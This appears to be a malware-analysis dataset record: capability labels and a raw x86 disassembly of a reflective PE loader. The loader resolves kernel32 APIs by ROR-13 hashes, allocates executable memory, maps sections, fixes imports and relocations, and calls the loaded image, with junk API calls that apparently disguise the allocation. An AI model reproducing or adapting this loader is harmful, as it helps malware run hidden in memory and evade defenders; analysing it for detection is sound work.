Function at 0x1001c850
Capabilities:
Access peb ldr_data
Check os version
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x50
mov eax, dword [0x1005f634]
xor eax, esp
mov dword [esp + 0x4c], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x64]
push 0x400
mov dword [esp + 0x2c], edi
call fcn.1001cf0e
mov edi, dword [edi]
add esp, 4
xor ebx, ebx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x24], 0
mov edx, 0x5a4d
mov dword [esp + 0x18], ebx
mov dword [esp + 0x20], ebx
cmp word [edi], dx
jne 0x1001c8af
mov ecx, dword [edi + 0x3c]
lea eax, [ecx - 0x40]
cmp eax, 0x3bf
ja 0x1001c8af
cmp dword [ecx + edi], 0x4550
je 0x1001c8b2
dec edi
jmp 0x1001c894
mov eax, dword fs:[0x30]
mov dword [esp + 0x14], edi
mov eax, dword [eax + 0xc]
mov ebp, dword [eax + 0x14]
mov dword [esp + 0x1c], ebp
test ebp, ebp
je 0x1001c9dc
nop
mov esi, dword [ebp + 0x28]
xor ecx, ecx
movzx edx, word [ebp + 0x24]
nop dword [eax]
movzx edi, byte [esi]
ror ecx, 0xd
cmp byte [esi], 0x61
jb 0x1001c8ee
add ecx, 0xffffffe0
add edx, 0xffff
add ecx, edi
inc esi
test dx, dx
jne 0x1001c8e0
cmp ecx, 0x6a4abc5b
jne 0x1001c9b7
mov esi, dword [ebp + 0x10]
mov ebp, 3
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov dword [esp + 0x10], eax
mov edi, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add edi, esi
add ebx, esi
mov edx, dword [edi]
add edx, esi
xor eax, eax
mov cl, byte [edx]
nop
ror eax, 0xd
lea edx, [edx + 1]
movsx ecx, cl
add eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x1001c930
cmp eax, 0xec0e4e8e
je 0x1001c956
cmp eax, 0x7c0dfcaa
je 0x1001c956
cmp eax, 0x91afca54
jne 0x1001c9a0
mov ecx, dword [esp + 0x10]
movzx edx, word [ebx]
mov ecx, dword [ecx + 0x1c]
lea ecx, [ecx + edx*4]
cmp eax, 0xec0e4e8e
jne 0x1001c975
mov eax, dword [ecx + esi]
add eax, esi
mov dword [esp + 0x24], eax
jmp 0x1001c99a
cmp eax, 0x7c0dfcaa
jne 0x1001c987
mov eax, dword [ecx + esi]
add eax, esi
mov dword [esp + 0x18], eax
jmp 0x1001c99a
cmp eax, 0x91afca54
jne 0x1001c99a
mov eax, dword [ecx + esi]
add eax, 0x57
add eax, esi
mov dword [esp + 0x20], eax
add ebp, 0xffff
add edi, 4
add ebx, 2
test bp, bp
jne 0x1001c927
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
cmp dword [esp + 0x24], 0
je 0x1001c9c9
test ebx, ebx
je 0x1001c9c9
cmp dword [esp + 0x20], 0
jne 0x1001c9d8
mov ebp, dword [ebp]
mov dword [esp + 0x1c], ebp
test ebp, ebp
jne 0x1001c8d0
mov edi, dword [esp + 0x14]
mov eax, dword [sym.imp.USER32.dll_GetDC]
push 0
mov dword [esp + 0x34], eax
call eax
mov esi, eax
lea eax, [esp + 0x3c]
push eax
mov eax, dword [sym.imp.USER32.dll_GetWindowRect]
push 0
mov dword [esp + 0x3c], eax
call eax
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
push esi
push 0
mov dword [esp + 0x40], eax
call eax
mov ebx, dword [edi + 0x3c]
push 0
push 0
push 0
push 0
push 0
push 0
add ebx, edi
push 0x10057ae8
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x20]
push 0x40
push 0x3000
push dword [ebx + 0x50]
sub ecx, eax
push 0
mov dword [esp + 0x30], ecx
call ecx
mov edx, dword [ebx + 0x54]
mov ebp, eax
mov dword [esp + 0x10], ebp
mov ecx, edi
test edx, edx
je 0x1001ca6e
mov esi, ebp
sub esi, edi
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [esi + ecx - 1], al
sub edx, 1
jne 0x1001ca60
movzx edi, word [ebx + 0x14]
add edi, ebx
movzx ebx, word [ebx + 6]
test ebx, ebx
je 0x1001cabc
add edi, 0x2c
nop
mov edx, dword [esp + 0x2c]
dec ebx
mov ecx, dword [esp + 0x20]
mov eax, ebx
and eax, 0x3ff
mov byte [eax + edx], cl
mov ecx, dword [edi - 8]
mov edx, dword [edi]
add ecx, ebp
add edx, dword [esp + 0x14]
mov esi, dword [edi - 4]
test esi, esi
je 0x1001cab5
mov al, byte [edx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea edx, [edx + 1]
sub esi, 1
jne 0x1001caa5
add edi, 0x28
test ebx, ebx
jne 0x1001ca80
mov ebx, dword [esp + 0x1c]
sub ebx, 0xffffff80
mov edi, dword [ebx]
add edi, ebp
mov dword [esp + 0x14], edi
mov eax, dword [edi + 0xc]
test eax, eax
je 0x1001cb65
cmp dword [ebx], 0
je 0x1001cb65
add eax, ebp
push eax
call dword [esp + 0x28]
mov esi, dword [edi]
mov ebp, eax
mov eax, dword [esp + 0x10]
add esi, eax
mov edi, dword [edi + 0x10]
add edi, eax
cmp dword [edi], 0
je 0x1001cb4b
nop word [eax + eax]
test esi, esi
je 0x1001cb26
mov ecx, dword [esi]
test ecx, ecx
jns 0x1001cb26
mov eax, dword [ebp + 0x3c]
movzx ecx, cx
mov eax, dword [eax + ebp + 0x78]
sub ecx, dword [eax + ebp + 0x10]
mov eax, dword [eax + ebp + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebp]
add eax, ebp
jmp 0x1001cb33
mov ebx, dword [edi]
add ebx, eax
lea eax, [ebx + 2]
push eax
push ebp
call dword [esp + 0x20]
mov dword [edi], eax
add edi, 4
test esi, esi
lea eax, [esi + 4]
cmove eax, esi
cmp dword [edi], 0
mov esi, eax
mov eax, dword [esp + 0x10]
jne 0x1001cb00
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
add edi, 0x14
mov dword [esp + 0x14], edi
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x1001cad6
push 0
call dword [esp + 0x34]
mov esi, eax
lea eax, [esp + 0x4c]
push eax
push 0
call dword [esp + 0x3c]
push esi
push 0
call dword [esp + 0x40]
mov edx, dword [esp + 0x1c]
mov edi, ebp
sub edi, dword [edx + 0x34]
cmp dword [edx + 0xa4], 0
je 0x1001cc3e
mov ecx, dword [edx + 0xa0]
add ecx, ebp
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 4]
test eax, eax
je 0x1001cc3e
nop dword [eax]
mov esi, dword [ecx]
lea ebx, [eax - 8]
add esi, ebp
shr ebx, 1
lea ebp, [ecx + 8]
je 0x1001cc25
nop
movzx edx, word [ebp]
dec ebx
mov ax, dx
mov ecx, edx
shr ax, 0xc
cmp ax, 0xa
jne 0x1001cbdf
and edx, 0xfff
add dword [edx + esi], edi
jmp 0x1001cc17
cmp ax, 3
jne 0x1001cbf0
and ecx, 0xfff
add dword [ecx + esi], edi
jmp 0x1001cc17
cmp ax, 1
jne 0x1001cc07
and ecx, 0xfff
mov eax, edi
shr eax, 0x10
add word [ecx + esi], ax
jmp 0x1001cc17
cmp ax, 2
jne 0x1001cc17
and ecx, 0xfff
add word [ecx + esi], di
add ebp, 2
test ebx, ebx
jne 0x1001cbc0
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx + 4]
mov ebp, dword [esp + 0x10]
add ecx, eax
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 4]
test eax, eax
jne 0x1001cbb0
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x28]
mov dword [0x1005ff98], ebp
add edi, ebp
mov eax, dword [ebp + 0x3c]
mov esi, dword [eax + ebp + 0xc0]
test esi, esi
je 0x1001cc76
mov esi, dword [esi + ebp + 0xc]
test esi, esi
je 0x1001cc76
mov eax, dword [esi]
test eax, eax
je 0x1001cc76
push 0
push 1
push ebp
call eax
mov eax, dword [esi + 4]
lea esi, [esi + 4]
test eax, eax
jne 0x1001cc65
mov ebx, dword [esp + 0x28]
cmp dword [ebx + 0x1c], 0
jne 0x1001cccb
push dword [ebx + 4]
push ebp
call fcn.1001c710
mov esi, eax
add esp, 8
test esi, esi
je 0x1001ccd4
cmp dword [ebx + 0x20], 0
je 0x1001cca1
push ebp
call fcn.1001c7e0
add esp, 4
push 0
push 1
push dword [ebx + 0x10]
call edi
push dword [ebx + 0x18]
push dword [ebx + 0x14]
push dword [ebx + 0x10]
push dword [ebx + 0xc]
call esi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.1001cf17
add esp, 0x50
ret
push 0
push 1
push dword [ebx + 0x10]
call edi
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001cf17
add esp, 0x50
ret